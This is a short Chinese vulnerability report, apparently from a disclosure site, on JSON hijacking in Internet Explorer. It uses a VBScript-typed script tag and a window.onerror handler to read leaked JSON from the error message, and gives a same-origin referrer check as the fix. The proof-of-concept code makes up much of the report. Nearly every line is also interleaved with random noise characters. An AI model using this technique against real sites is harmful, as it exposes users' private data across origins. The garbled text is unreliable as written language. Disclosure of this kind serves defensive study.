简要描述:
; r. r! C- y- |& ]# P$ @
, g* ]% H2 B) v0 g由于某些资源容器对数据处理不当导致json劫持漏洞.0 G, x. S' Z) z6 j6 w+ Z% ^
详细说明:- Z. Y x2 X% K* n( Z7 a( L# w! o$ ?
由于ie支持vbscript,所以script元素可以指定成vbscript语言:( G$ C1 {% w8 \
<script language=vbscript></script>; L" w$ Q6 q4 \' |1 n
; Y8 Y+ a$ ?; k* p7 z+ G- v) z+ x当但我们指定的是一个js格式的文件是将会发现一个异常,这使我们通过捕获这个异常的信息来获得部分json数据.
% b, T+ @! `. H9 q漏洞证明:
1 S- i* s- Q+ z; Z0 A<script>
; r; Z. {5 c) n+ F5 z- iwindow.onerror=function(_){
* X8 b" T% k; M% ~) }7 @alert(_)
) I0 o: d; @+ x. O9 {4 b6 u}
9 z3 Y. H! A. I</script>
8 V3 m# {5 ~5 _4 T<script language=vbscript src=1.json></script>, [# L$ G; m& Q3 u- W2 y; p) B
7 w2 [9 h* \: m' [, [
) w# L/ s# N V" z6 s7 h
1.json:
R, b0 X; k9 m2 \8 i4 ]0 Q2 K7 s[{"name":"sogili","age":19}]) X% `. {0 N$ p# |% ?$ f+ s) D
修复方案:
- B) u( V* J7 x L X. W网站业务对于这个问题可以通过验证referrer是否为同源来防御 |